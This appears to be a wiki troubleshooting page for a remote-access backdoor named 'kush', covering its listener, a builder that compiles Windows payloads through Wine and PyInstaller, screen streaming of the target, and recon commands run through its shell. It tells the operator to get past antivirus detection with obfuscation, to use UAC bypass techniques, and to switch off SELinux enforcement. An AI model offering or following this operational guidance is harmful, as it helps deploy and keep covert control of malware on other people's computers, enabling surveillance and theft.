-
Notifications
You must be signed in to change notification settings - Fork 0
troubleshooting
Issue: "Waiting for incoming connections..." (no connection)
- Cause: Firewall blocking, wrong IP, or payload not executed
python3 listener.py -i 192.168.1.100 -p 4444 python3 builder.py -t windows -i 192.168.1.100 -p 4444 sudo ufw allow 4444On Linux
Issue: "Connection refused"
Cause: Listener not running or wrong port
netstat -tulpn | grep 4444sudo lsof -i :4444Issue: "Wine is not installed or not in PATH"
Solution:
sudo apt install wine./setup.shwine --versionIssue: "PyInstaller not found" in Wine
wine pip install pyinstaller./setup.shIssue: Builder creates empty or corrupted executables
rm -rf dist/ build/python3 builder.py -t windows -i IP -p PORTls -la dist/Issue: Module not found" errors on target
Cause: Missing dependencies in compiled executable
Solution:
pip3 install -r requirements.txtpython3 builder.py -t windows -i IP -p PORTIssue: Agent crashes immediately
- Cause: Anti-virus detection or missing dependencies
-
Test in isolated environment first
-
Check Windows Event Viewer for error details
-
Try different compilation options
Screen Streaming Not Working
bash
python3 -c "import mss, PIL; print('OK')"kush> start_stream 2.0 # Slower intervalcat stream_viewer.htmlkush> whoamikush> ls -la /path/to/filekush> pwdkush> ls /path/kush> df -h # Linuxkush> wmic logicaldisk get size,freespace,caption # Windowskush> whoami /groups # Windowskush> id # Linuxkush> systeminfo # Windowskush> uname -a # LinuxEnable Verbose Logging Modify backdoor.py to add debug output:
DEBUG = Truedef reliable_send(self, data):
if DEBUG:
print(f"[DEBUG] Sending: {str(data)[:100]}...")existing code ...
Check active connection:
kush> echo testsudo tcpdump -i any port 4444Windows Issues
-
Anti-virus Detection:
-
Add exceptions for test directory
-
Use obfuscation techniques
-
Test in isolated environments
-
User Account Control (UAC):
-
Run as Administrator for system operations
-
Use UAC bypass techniques if authorized
Permission Denied:
getenforce
sudo setenforce 0export DISPLAY=:0Wine Installation:
brew install wine-
Performance Optimization
-
Reduce Resource Usage
-
Slower streaming interval:
kush> start_stream 3.0 # 3-second intervalsimg.save(buffered, format="JPEG", quality=30) # Lower qualityMonitor agent memory usage:
kush> tasklist # Windowskush> ps aux | grep kush # Linux-
Connection Loss Reconnect procedure:
-
Keep listener running
-
Restart payload on target
-
Listener will accept new connection automatically
-
For corrupted Session
-
Reset connection:
-
Stop listener (Ctrl+C)
-
Restart listener
python3 listener.py -i IP -p PORTGetting Help Diagnostic Information When reporting issues, include:
System Information:
python3 --version
wine --version
uname -a-
Full error message output
-
Steps to reproduce
-
Target operating system
Issue Quick Fix
No connection Check IP/port match
Builder fails Run ./setup.sh
Modules missing pip3 install -r requirements.txt
Permission denied Run as admin/root
Streaming fails Check PIL/mss installation